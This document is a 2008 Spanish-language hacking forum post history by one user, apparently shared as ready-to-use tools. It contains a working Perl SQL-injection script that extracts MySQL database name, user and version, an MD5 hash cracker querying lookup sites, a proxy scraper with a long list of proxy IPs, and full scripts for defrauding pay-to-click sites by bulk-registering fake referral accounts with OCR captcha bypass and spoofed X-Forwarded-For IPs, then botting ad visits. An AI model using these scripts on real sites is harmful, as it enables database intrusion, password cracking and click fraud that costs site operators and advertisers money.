| |
|
1
|
Forums Generales / Foro Libre / Re: Posibles nombres....
|
en: 30 Septiembre 2008, 22:54
|
|
creo que tienes q primero reunior las palabras claves para poder formar un nombre compuesto, que pueda resumir que kieres vender, tampoco algo tan abstracto, pork no daras la informacion con tal de decir la dns.
por ej modding pc hardware
y empezar a hacer palabras solas, q componnen tu idea, para asi ir convinando ideas y palabras, creo q es la mejor forma de dar los nombres, bue asi lo hacen en los negocios q e participado. (diseñando).
las empresas q ponen nombres abstractos q talvess no hagan muxa referencia es pork tienen un impulso demasiado fuertre q pueden gastar en publicidad extra.
bue esop , lo mejor hacer una listra de nombres claves para luego ir convinando.
por ej HardModding
etc
saludos¿
|
|
|
|
|
2
|
Seguridad Informática / Bugs y Exploits / DataExtract database(),user(),version() By OzX
|
en: 28 Septiembre 2008, 01:06
|
Hi. Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos. En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla. Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej. .../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7 Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion. SAludos¡ use LWP::UserAgent;
use HTTP::Request::Common;
#by OzX [NuKe/NB/UnderSecurity] #DataExtract #Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version. $browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(
"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.google.com"
);
use constant URL => $ARGV[0]; #Constante URL.
unless ($ARGV[0]) { print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n"; print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n"; print "\n"; exit 0; }
($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5.. ($db,$user,$version) = detalles_bd($sql_num);
print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";
#Funcion Que Obtiene la Informacion de la Base de Datos sub detalles_bd{ $_[0] = sql_num($sql_num); $vars = numero($sql_num); $string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)'; $sql_num =~s/$vars/$string_datos_db/; $url = $uri."+".$sql_num; $source = GETS($url); ($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g; return ($db,$user,$version); }
#Funcion para Evitar Problemas XD¡. sub sql_num{ $num_total = split(",",$_[0]); for ($x=1;$x<=$num_total;$x++){ $sql_num_correcto = $sql_num_correcto."$x,"; } chop($sql_num_correcto); return $sql_num_correcto; }
#Funcion para Obtener los Numeros De la Inyeccion Base sub numero{ local $sql_num = $_[0]; $sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0. for ($x=1;$x<=$sql_num;$x++){ $url_hex = $url_hex.hex_sql("USNB$x").","; } chop($url_hex); #Eliminamos la Ultima , $url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL $source_url_hex = GETS($url_inject);#SOURCE ( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES $vars = @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$ return $vars; }
#Funcion GETS sub GETS{ return $browser->request(GET $_[0])->content; } #Funcion Hex_SQL sub hex_sql($) { (my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str"; }
|
|
|
|
|
4
|
Programación / Scripting / MultiCracker 0.1 MD5
|
en: 05 Septiembre 2008, 01:40
|
MultiCracker Md5 0.1http://www.nullbytes.net/multicracker-md5-01/Dentro del Marco del Hacking, muchas veces nos encontramos con hash en md5 que deseamos desencriptar, y vamos a las Web mas conocidas en busca si existe en sus bases de datos la contraseña en cuestión. Y como siempre es bueno ahorrar tiempo, desarrolle una tool que busca en las 6 Web que mejor resultados me dieron. http://www.hashfind.infohttp://md5decrypter.comhttp://gdataonline.comhttp://md5.hashcracking.comhttp://milw0rm.comhttp://md5search.org use LWP::UserAgent; use HTTP::Request::Common; use HTTP::Cookies; # By OzX NULLBYTES.net ### BASE DE LAS PETICIONES ############################################################################################## $browser = LWP::UserAgent->new(); $browser->timeout(10); $browser->default_header( "User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1", "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3", "Referer" => "http://www.google.com" ); #################################################################FUNCION GET Y POST sub GETS{@code = split("\n",$content = $browser->request(GET $_[0])->content);return @code;} sub POSTS{@code = split("\n",$content = $browser->request(POST $_[0], [%{$_[1]}])->content);return @code}; ############################################################################### $hash = $ARGV[0]; unless ($ARGV[0]) { print "MULTICRACKER 0.1 BY OZX www.nullbytes.net \nCrackNB.pl <hash>\n"; print "CrackNB.pl 202cb962ac59075b964b07152d234b70\n\n"; exit 0; } ######################################################## %webs = ('0' => "http://md5decrypter.com", '1' => "http://gdataonline.com", '2' => "http://md5.hashcracking.com", '3' => "http://milw0rm.com", '4' => "http://md5search.org",); ###PETICIONES #################################### if ($hash =~/\w{32}/){ hashfind($hash); for($i=0;$i<5;$i++){ $pid = fork(); if( $pid == 0 ){ print $webs{$i}.":> ".md5($i)."\n"; exit 0; } } }else{ print "[+] HASH INVALIDO\n"; exit; } ################################################# #LA WEB http://www.hashfind.info TIENE UN SISTEMA BASADO EN COOKIES PARA MOSTRAR EL HASH , #ES POR ELLO QUE NO PUDE IMPLEMENTARLO DENTRO DE LAS OTRAS FUNCIONES # TAMBIEN TAMPOCO PUDE IMPLEMENTARLO DENTRO DEL FORK. sub hashfind{ $hash = $_[0]; ### COOKIE PARA http://www.hashfind.info <= ¬¬ $browser->cookie_jar(HTTP::Cookies->new(file => "cookie_hash.txt", autosave => 1)); @code = POSTS("http://www.hashfind.info/",{hash => $hash, button => Search}); @codex = GETS("http://www.hashfind.info/get.php?type=0 "); print "http://www.hashfind.info :> @codex\n"; } sub md5{ $id=$_[0]; $cracker[0]= crack_post($webs{$id},{hash => $hash, submit => Decrypt%21 },$hash,'.*Normal.*<\/b>','.*this hash wasn.*') ; $cracker[1]= crack_get($webs{$id}."/qkhash.php?mode=txt&hash=",$hash,'.*><b>','<\/b><.*','.*\?',"<\/td><\/tr>"); $cracker[2]= crack_get($webs{$id}."/search.php?md5=",$hash,".*is "); $cracker[3]= crack_post($webs{$id}."/cracker/search.php",{hash => $hash, Submit => Submit },$hash,"<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked.*",".*<TR class=\"submit\">.*nowrap=\"nowrap\" width=90>"); $cracker[4]= crack_post($webs{$id}."/index.php",{hash => $hash , server => all ,token => md5s , tryb => search, submit =>MD5Search%28%29},"<font.*size=\"-1\">.*nbsp",".*class=\"wyniksz\">","<\/font><\/td><\/tr><\/table><\/td><\/tr><\/table>.*p>","<\/font><\/td><\/tr>"); return $cracker[$id]; } sub crack_post{ ($url,$data,$match,@reg1) = @_; @code = POSTS($url,$data); for $linea (@code){ if ($linea=~/$match/i){ for $reg (@reg1){ $linea=~s/$reg//; } return $linea; } } } sub crack_get{ ($url,$hash,@reg1) = @_; @code = GETS($url.$hash); for $linea (@code){ if ($linea=~/$hash/i){ for $reg (@reg1){ $linea=~s/$reg//; } return $linea; } } } Ideas Sugerencias  Bienvenidas www.nullbytes.net¡ http://www.nullbytes.net/multicracker-md5-01/
|
|
|
|
|
5
|
Seguridad Informática / Hacking Básico / Re: Desafiando a Bux.to Clone Script
|
en: 02 Septiembre 2008, 04:17
|
Hola siento ser tan pesao  Pero eske no lo consigo Lo de los usuarios. He conseguio leer lo k pone en cuanto le doy al enter cuando escribo los parametros del creador de usuarios Me sale este error: Escribo el parametro y me pone Parametro no valido: -k "ocr.exe" no se reconoce como un comando interno o externo, programa o archivo por lotes ejecutable. Despues tarda un poko con la pantalla en negro y me sale: ERROR INTENTAR NUEVAMENTE<REVISAR RESULTADO.HTML> Un saludo aver si lo arreglo con vuestra ayuda JeJe  hay q leer hasta abajo del documento bajate los programas necesarios. Saludos¡
|
|
|
|
|
8
|
Programación / Scripting / Extractor de Proxy Desde http://www.proxy-list.net/
|
en: 01 Septiembre 2008, 00:46
|
Siempre es mas que útil tener una lista bastante extensa de Proxy para poder utilizar en distintas herramientas que estemos desarrollando, es por ello que desarrolle un script escrito en Perl el cual extrae todas los Proxy desde http://www.proxy-list.net/ , y los guarda en un archivo txt lista_proxy.txt. Optimizado con fork(). Elimina Repetidos. use LWP::UserAgent; use HTTP::Request; #Proxt-List.Net Extract 0.1 # By OzX NULLBYTES.NET Extractor de Proxy DESDE http://www.proxy-list.net #THANX ALL NULLBYTES.NET STAFF @regexp = ('.*shtml\?','\"><font.*'); sub extract{ $index = $_[0]; $match = $_[1]; foreach $linea (get($index)){ if ($linea=~m/$match/i){ foreach $regexp (@regexp){$linea=~s/$regexp//;} push (@links,"http://www.proxy-list.net/ShowList.pl?".$linea."\n"); } } return @links; } ################################################################ ################################################################ #EXTRAIGO TODAS LAS IP | DIRECION PRINCIPAL, MATCH DE BUSQUEDA DE LINKS, MATCH DE BUSQUEDA DE IP. @links= extract('http://www.proxy-list.net/fresh-proxy-lists.shtml','show-proxy-lists\.shtml\?\w{1,30}'); $total = scalar(@links); ################################################################# syswrite STDOUT , "[+] Total de Links A Visitar $total \n [+] CRAWLING ....\n"; open (IP,">PROXY.TXT"); for($i=1;$i<$total;$i++){ $pid = fork(); if( $pid == 0 ){ @ip = ip($links[$i]); syswrite STDOUT ,"[+] CRAW => $links[$i]"; print IP @ip; exit 0; } } close(IP); ####################################################### open(PROXY,"PROXY.txt"); @proxy=<PROXY>;close (PROXY); ########Eliminando Repetidos foreach my $parte ( @proxy ) { next if $ya_visto{ $parte }++; push @ip, $parte; } ############################################################# open (IP,">lista_proxy.txt"); print IP @ip; close(IP); ###########################SUB ############################# sub ip{ $link = $_[0]; @codigo = get($link); foreach $ip (@codigo){ if ($ip=~m/\d+.\d+\.\d+\.\d+:\d+/){ push (@ip,$ip."\n"); } } return @ip; } ################################################################## sub get{ $url=$_[0]; ####UserAgent############### $browser = LWP::UserAgent->new(); $browser->timeout(10); $browser->default_header( "User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1", "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3", "Referer" => "http://www.proxy-list.net/fresh-proxy-lists.shtml" ); ###Petcion GET################################ $request = HTTP::Request->new(GET => $url); $response = $browser->request($request); $contents = $response->as_string; #######Respuesta################## @code = split("\n",$contents); return @code; } 143.248.139.171:3124 62.149.67.49:8080 62.149.112.38:8080 62.149.112.33:8080 213.253.169.130:808 208.117.131.115:3124 204.85.191.10:3124 204.8.155.226:3128 200.19.159.34:3124 194.36.10.154:3127 193.136.191.26:3128 193.136.191.25:3128 192.33.90.67:3124 192.33.210.16:3124 169.229.50.7:3124 169.229.50.5:3127 164.107.127.13:3124 164.107.127.12:3127 155.98.35.6:3128 155.246.12.164:3124 152.3.138.3:3127 141.76.45.17:3124 141.13.16.201:3127 136.145.115.196:3124 132.252.152.193:3128 132.239.17.226:3128 132.239.17.224:3124 131.247.2.242:3124 129.174.79.249:3124 128.8.126.111:3128 128.6.192.158:3127 128.223.8.112:3127 128.208.4.99:3124 128.208.4.199:3128 128.208.4.198:3127 128.2.223.63:3127 128.112.139.75:3127 194.36.10.156:3127 130.192.157.132:3128 130.92.70.252:3128 132.252.152.194:3127 134.34.246.4:3124 134.76.81.91:3124 136.145.115.196:3128 138.23.204.232:3124 141.24.33.162:3124 152.3.138.4:3124 160.94.220.241:3127 169.229.50.11:3127 169.229.50.5:3128 169.229.50.16:3127 128.113.226.235:3124 128.223.8.112:3128 128.233.252.11:3124 128.4.36.12:3124 129.59.88.180:3124 130.192.157.131:3124 192.33.90.195:3128 192.33.90.66:3128 192.33.90.67:3127 192.42.43.23:3127 133.1.74.162:3124 141.76.45.18:3128 142.150.238.12:3124 152.3.138.1:3124 193.55.112.41:3128 165.230.49.115:3128 169.229.50.10:3124 195.130.121.204:3128 198.82.160.220:3124 200.132.0.70:3127 200.19.159.34:3127 147.102.3.101:3128 128.111.52.61:3128 128.252.19.20:3124 128.163.142.20:3128 152.3.138.5:3128 128.163.142.21:3127 128.195.54.161:3128 130.75.87.83:3124 131.246.191.42:3127 133.1.74.163:3127 138.23.204.133:3124 169.229.50.15:3128 192.33.210.16:3128 193.136.227.163:3127 131.247.2.241:3124 128.135.11.152:3124 128.113.226.236:3127 128.208.4.197:3127 128.208.4.198:3128 137.226.138.156:3124 193.167.187.188:3127 128.252.19.22:3127 129.69.210.96:3127 141.24.249.130:3128 155.98.35.3:3128 155.98.35.6:3127 169.229.50.14:3124 192.197.121.3:3128 129.186.205.77:3124 130.75.87.84:3124 132.187.230.1:3124 136.145.115.194:3124 137.226.138.154:3124 204.8.155.227:3128 156.17.10.52:3128 142.150.238.13:3128 137.99.11.87:3127 198.82.160.220:3128 136.145.115.194:3128 149.169.227.129:3124 155.225.2.72:3128 169.229.50.15:3127 61.110.143.2:808 61.145.121.124:847 64.34.173.112:8888 165.193.47.39:80 192.54.45.201:8000 200.62.15.67:8080 202.75.144.62:8080 202.108.28.23:8080 203.158.221.226:443 216.191.142.125:80 218.27.148.66:8080 219.159.67.187:808 129.174.79.249:3128 128.112.139.80:3128 131.247.2.242:3127 72.36.112.71:3124 128.223.8.111:3127 129.10.120.193:3127 155.246.12.163:3127 169.229.50.14:3128 169.229.50.6:3128 169.229.50.9:3124 169.229.50.15:3124 169.229.50.7:3128 72.36.112.74:3128 128.59.20.228:3124 208.117.131.115:3128 165.91.83.22:3124 169.229.50.13:3127 129.74.74.16:3124 164.107.127.12:3128 128.151.65.101:3127 128.187.223.212:3127 128.238.88.64:3128 128.31.1.12:3128 128.4.36.11:3127 129.186.205.71:3128 129.186.205.77:3128 129.24.211.26:3128 152.15.98.226:3124 152.3.138.2:3124 128.112.139.73:3124 128.112.139.78:3124 204.56.0.137:3128 206.207.248.34:3124 128.8.126.112:3124 131.247.2.241:3128 128.59.20.227:3128 66.27.206.26:6406 138.238.250.157:3124 129.24.211.25:3128 155.225.2.72:3124 72.36.112.72:3127 204.85.191.10:3128 204.85.191.11:3128 156.17.10.52:3127 141.24.33.192:3127 147.102.3.102:3124 129.59.88.180:3128 160.94.220.241:3124 198.82.160.221:3128 128.8.126.111:3127 200.132.0.70:3128 128.232.103.202:3128 203.177.193.102:3128 193.136.227.163:3124 164.73.47.244:3128 138.246.99.250:3124 192.33.90.67:3128 143.215.129.117:3128 134.76.81.92:3124 132.68.237.36:3124 198.82.160.220:3127 131.175.17.10:3128 192.41.135.218:3128 131.247.2.241:3127 194.29.178.13:3124 155.246.12.163:3124 212.24.238.155:80 201.95.124.101:6588 201.68.4.187:6588 200.207.47.209:6588 200.161.108.144:6588 189.53.70.22:6588 189.19.195.251:8080 118.175.255.10:80 87.23.22.9:8080 85.172.120.214:3128 77.247.209.19:3128 72.55.191.6:3128 68.167.209.90:8000 189.3.11.12:8080 62.149.112.37:8080 80.63.1.213:80 82.5.185.111:7212 80.86.200.172:6649 24.188.58.1:8800 128.2.223.63:3128 128.6.192.156:3127 128.59.20.228:3128 143.215.129.117:3124 129.74.74.16:3128 128.187.223.212:3124 194.36.10.154:3128 128.232.103.201:3124 128.232.103.203:3128 192.33.90.68:3128 192.33.90.69:3127 192.42.43.22:3128 130.92.70.251:3128 192.33.90.196:3127 192.33.90.195:3127 192.42.43.23:3124 193.136.191.26:3127 193.136.191.25:3127 195.116.60.34:3124 156.17.10.51:3127 130.37.198.243:3127 163.221.11.73:3124 133.1.74.162:3128 130.136.254.21:3127 131.175.17.9:3128 195.130.121.205:3128 147.102.3.102:3127 137.226.138.154:3128 132.252.152.193:3124 141.24.33.192:3128 129.69.210.97:3128 137.226.138.156:3128 141.76.45.18:3127 129.69.210.96:3128 141.24.33.161:3124 138.246.99.249:3128 141.24.33.162:3128 213.205.99.185:80 213.205.99.182:80 213.205.99.181:80 193.167.182.130:3127 193.167.187.188:3128 121.14.139.147:8088 142.150.238.12:3128 192.197.121.3:3124 198.163.152.230:3127 200.132.0.70:3124 143.107.111.195:3124 200.207.88.222:6588 128.232.103.203:3124 169.229.50.8:3128 128.4.36.12:3128 128.4.36.11:3128 128.208.4.197:3128 128.252.19.21:3128 206.117.37.4:3128 206.207.248.34:3128 128.135.11.152:3128 142.150.238.13:3124 129.59.88.179:3128 164.73.47.242:3128 123.243.252.73:80 210.19.71.89:80 204.8.155.227:3127 129.24.211.26:3124 194.117.20.214:3128 164.107.127.13:3127 132.187.230.1:3127 81.192.52.62:80 218.139.64.79:8080 195.130.121.204:3127 195.113.161.83:3127 193.136.227.163:3128 192.42.43.22:3127 169.229.50.10:3127 165.230.49.115:3124 160.94.220.241:3128 141.24.249.130:3124 129.41.69.20:80 128.59.20.227:3124 128.192.101.218:3128 128.187.223.211:3127 128.163.142.20:3124 128.112.139.97:3128 202.105.182.87:808 129.59.88.179:3124 152.3.138.5:3124 193.174.67.186:3128 138.23.204.232:3127 152.3.138.2:3127 169.229.50.10:3128 138.23.204.133:3128 128.187.223.211:3128 132.239.17.225:3124 128.223.8.111:3128 128.59.20.226:3128 152.3.138.4:3128 72.36.112.71:3128 122.169.241.78:6409 203.121.133.124:80 61.144.217.173:80 155.98.35.5:3128 164.107.127.12:3124 128.192.101.217:3128 125.46.34.52:8088 193.251.181.135:8080 134.34.246.5:3124 193.167.187.187:3127 128.232.103.202:3124 128.232.103.201:3128 129.24.211.25:3124 204.56.0.137:3124 128.252.19.21:3127 128.238.88.64:3127 62.38.189.214:8080 Saludos¡ Ideas¡ Dudas¡ Nuevas FOrmas, etc COmentar¡ www.nullbytes.net¡ http://www.nullbytes.net/extractor-de-proxy-desde-httpwwwproxy-listnet/
|
|
|
|
|
9
|
Seguridad Informática / Hacking Básico / Re: Desafiando a Bux.to Clone Script
|
en: 01 Septiembre 2008, 00:39
|
En autoit lo podria hacer mas simplificado ^^
bueno. ____ El codigo esta optimizado para que funciona bien en 07bux.net, para que sea funcional en otras webs es necesario cambiar 1 linea, para evitar abusos, el que sepa perl , va a lograr cambiarlo es muy simple. De todas formas como decia en el post, el objetivo del codigo es para que funcione en bux.to clone , el script. muchas webs le cambian el proxy, o hasta le pueden cambiar el valor a las cookies y ia no funcionara. Codigo Para Crear Usuario AUnque ia esta posteado bux.pl http://07bux.net jhonxs andresmata Jhonxs = es el nuevo usuario andremasta = es el usuario principal. Lo Prove recien y funciona Perfecto.  ____________________ $ua->cookie_jar(HTTP::Cookies->new(file => "cookie_07bux_catpcha.txt", autosave => 1)); Es necesario, para el catpcha. Este esta muy relacionado con el phpsessid del php generado, este al ingresar el codigo correcto valida el phpsessid generado. por lo cual te deja crear el usuario.  Saludos¡¡¡
|
|
|
|
|
10
|
Seguridad Informática / Hacking Básico / Desafiando a Bux.to Clone Script
|
en: 28 Agosto 2008, 00:25
|
Desafiando a Bux to Clone Es muy Común ver páginas Web enfocadas a la explotación del servicio de PTC (Pay To Click), que en la poca ciencia que tiene te paga por visitar unos Links por una cierta cantidad de Tiempo, luego de finalizar la espera se te acredita una cierta cantidad de dinero a tu cuenta. Comúnmente unos 0.01 USD por cada link, que solo puede ser visitado 1 vez cada 24 horas, y la media de las PTC, tienen un total de 10 Links. Por lo cual Ganaras unos 0.1 USD Diarios al Diarios. Como es un Servicio bastante llamativo, muchas paginas Web instalaron en sus servidores un Script llamado bux to Clone, que es una copia de unos de los pioneros en estas ramas bux.to. En un escenario ideal un usuario podría ganar 0.1 USD Cada día, también podría ganar por su referidos, (personas que el invita a registrarse), gana 0.01 por Cada link que el Referido Gane. Mítico Ejemplo de Cuanto Podrías Ganar: Earnings Example » You click 10 ads per day = $0.10 » 20 referrals click 10 ads per day = $2.00 » Your daily earnings = $2.10 » Your weekly earnings = $14.70 » Your monthly earnings = $63.00 Pero, ¿Qué Pasaría si Nosotros Podríamos Generar esos 20 Referidos Activos?Es en este punto en donde nos enfocaremos. Para Poder Tener Control Sobre Nuestra Interrogante, desarrolle 2 Scripts en Perl. 1.) Creador de Usuarios 2.) Visitador de los Links Características Creador de Usuarios: 1.) Salta el Catpcha Básico que Trae el Script Bux to Clone, gracias al ORC open source, GORC. 2.) Genera un Usuario con Ip Falsa, Ocupando X Forwarded For, mala validación de la IP (ver imagen). Características de “Bot” de Links:1.) Tiempo de Espera Entre cada AD 2.) Asignación de IP (Según la Ip Registrada) 3.) Sistema “Intento de Movimiento Humano”, al visitar cada link de forma aleatoria. (Link 1, link7, link 3, etc) ImportanteLos Scripts Están Basados en 07bux.net el cual tiene el Script de bux to clone, si alguna Web hizo algún cambio en su esquema del script, cambiando el catpcha, o renombrando los nombres de los archivos php, es Claro que no funcionara, Dejo bien aclarado que estos Scripts es un POC para el Script base de Bux to clone, el cual tiene instalado 07bux.net En Conclusión Podemos Ocupar el Creador de Usuarios para crear a nuestros antojo la cantidad de usuarios que estimemos conveniente, para luego así ocupar el segundo script para hacer las visitas correspondientes al sitio Web en cuestión. Así podemos tener un total control de cuanto podremos ganar, pero es claro que es difícil programar el comportamiento humano, a cualquier le resultaría sospechoso que un usuario que recién se registro tenga mas de 50 referidos en 1 día, o que todos sus referidos visiten la publicidad en un intervalo de 5 minutos cada uno. Por lo cual es necesario tener un control y tener un crecimiento paulatino de los usuarios referidos y las visitas.Ejemplo de la Manipulacion de la IpEs un Factor bastante importante , para poder dar a parecer que son usuarios reales los que visitan , si una Ip se registra luego ve sus Links de forma aleatoria, se deslogea , se guarda su IP, luego vuelve a logearse y es esa misma IP, da una sensación de realidad.   MakeUser 0.1Código MakeUser: Crea Usuario Dependiendo de los parámetros que se Ingresen, Ocupa el OCR open source, GORC, y un programa que Convierte de Extensión jpg a ppm, para que pueda ser Leido por el Programa GORC. use LWP::UserAgent; use HTTP::Cookies; use HTTP::Request; #MakeUsers 0.1 Bux to Clone by OzX Nullbytes #Thanx Tec-N0x & All Staff NB $serv = $ARGV[0]; $nombre = $ARGV[1]; $referer = $ARGV[2]; unless ($ARGV[1]) { print "MakeUsers 0.1 Bux to Clone 0.1 By OzX Nullbytes.net\n\n"; print "Uso : script.pl <nombre> <referer>\n"; print "Ejemplo : script.pl http://07bux.net Nulles \n"; print "Ejemplo : script.pl http://07bux.net Nulles2 Nulles\n"; exit 0; } ######### Generar Ip ################ $ip1= int(rand(30))+190; $ip2= int(rand(240)); $ip3= int(rand(240)); $ip4= int(rand(240)); $ip = $ip1.".".$ip2.".".$ip3.".".$ip4; ######## Emails Random ############### @mails = qw (gmail.com hotmail.com live.com yahoo.es yahoo.com ); $rand = int(rand( @mails)); $mailr = $mails[$rand]; $email=$nombre."%40".$mailr; ####### Password Random ############## $password= $nombre.$ip1.$ip4; #######Ciudad Random ################ $ciudad= int(rand(190)); ###### Nueva peticion ########### $ua = LWP::UserAgent->new; ###### Activamos Cookie, User-agent, y Definimos la Ip Generada $ua->cookie_jar(HTTP::Cookies->new(file => "cookie_07bux_catpcha.txt", autosave => 1)); $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13"); $ua->default_header("X-Forwarded-For" => $ip); ##########CATPCHA################### ####### Descargamos Imagen Catpcha ########## $ua->mirror( $serv."/image.php", "captcha.jpg" ); ####### Convertimos Jpg a ppm ############## system ("convert.exe captcha.jpg -k"); ####### OCR ######################### system ("ocr.exe -o captcha.txt captcha.ppm"); #######Recogemos Valor Generado ############ open (C,"captcha.txt"); $codigo = <C>;close (C); system ("cls"); ### Mientras que el Codigo Obtenido del OCR tenga alguna "o", deve ser remplazada por 0 (cero), *Regexp, Normal no daba los Resultados que queria. while (convert($codigo) == 1){ $codigo=~s/o/0/i; } chop($codigo); ########################################### #####Iniciamos la Peticion POST $req = HTTP::Request->new(POST => $serv."/register.php"); $req->content_type("application/x-www-form-urlencoded"); $req->content("username=$nombre&password=$password&cpassword=$password&email=$email&cemail=$email&pemail=$email&country=$ciudad&referer=$referer&tos=1&code=$codigo"); $response = $ua->request($req); $content = $response->content(); guardar("resultado.html",$content); #Cambiamos Hexa $email=~s/%40/@/; if ($content=~m/(You have been registered correctly)/){ print "Usuario Creado Satisfactoriamente\n\tWWW.NULLBYTES.NET\n\n USUARIO:> $nombre PASSWORD:> $password IP:> $ip EMAIL:> $email REFERER:> $referer REVISAR result.txt\n"; $resultado = "$nombre\t$password\t$referer\t$ip\t$email\n#########################################################################\n"; guardar("result.txt",$resultado); }else{ print "ERROR INTENTAR NUEVAMENTE(Revisar resultado.html)"; } ####Guardar sub guardar($archivo,$contenido){ $archivo=shift; $contenido=shift; open (C,">>".$archivo); print C $contenido; close (C); } #### Indentifica Si todavia tiene una o Vivo con Problema de Regexp, esta solucion FUNCIONA : =) sub convert($){ $codigo=shift; if ($codigo =~m/o/i){ return 1; }else{ return 2 } } #END Fake TrafficCódigo que Se Conecta a la Web “bux”, y extrae los Links y los visita automáticamente, en una forma aleatoria, (Visita: Link1, Link7, Link4, Link8), con un tiempo de espera establecido en los parámetros de ejecución del código., una vez Visitado se Borra de la Lista de los Links que Esperan Ser visitados: use LWP::UserAgent; use HTTP::Request; # By OzX NullBytes.net [NukE] # Gracias a Tecn0x, Por ayudarme en la Logistica de Todas las PTC ¡ # A todo el Staff de NB ¡ $serv = $ARGV[0]; $user = $ARGV[1]; $pass = $ARGV[2]; $ip = $ARGV[3]; $tiempo_de_espera_entre_cada_ad = $ARGV[4]; unless ($ARGV[3]) { print "FakeTrafick 0.1 Bux to Clone 0.1 By OzX Nullbytes.net\n"; print "Tiempo Recomendado entre Cada Ad (30)\n\n"; print "USO:> script.pl <pagina> <user> <pass> <ip> <intervalo de tiempo entre cada Ad>\n"; print "Ejemplo :> script.pl http://07bux.net OzX Null 111.111.111.111 30\n"; exit 0; } print "##############################################################\n"; print "# FakeTrafick 0.1 Bux to Clone 0.1 By OzX Nullbytes.net #\n"; print "# WWW.NULLBYTES.NET #\n"; print "##############################################################\n"; #############################START ################################ @ad= craw($user,$pass,$ip); $cantidad = scalar(@ad); print "Cantidad de Links : $cantidad\n"; bots($cantidad,$tiempo_de_espera_entre_cada_ad); sub bots($cantidad,$tiempo_de_espera_entre_cada_ad){ $cantidad= shift; $tiempo_de_espera_entre_cada_ad = shift; while ($cantidad != 0 ){ $time=$tiempo_de_espera_entre_cada_ad; $rand = int(rand(@ad)); ##elige un ad al azar $ad_rand = $ad[$rand]; ############## print robot($ad_rand)."\n"; @sad = splice(@ad, $ad_rand, 1); print "Links : Visitado @sad"; print "Links :@ad\n"; $cantidad = $cantidad - 1 ; print "Links Por Visitar $cantidad\n"; #Tiempo de Espera while($time -- ){sleep(1);syswrite STDOUT, "$time\t";} print "\n###################################################################################################\n"; } } sub craw($user,$pass,$ip){ $user=shift; $pass=shift; $ip=shift; $browser = LWP::UserAgent->new(); $browser->timeout(10); $browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14"); $browser->default_header("Cookie" => "usNick=$user; usPass=$pass"); $browser->default_header("X-Forwarded-For" => $ip); my $request = HTTP::Request->new(GET => $serv."/surf.php"); my $response = $browser->request($request); if ($response->is_error()) {printf "%s\n", $response-> | | | | |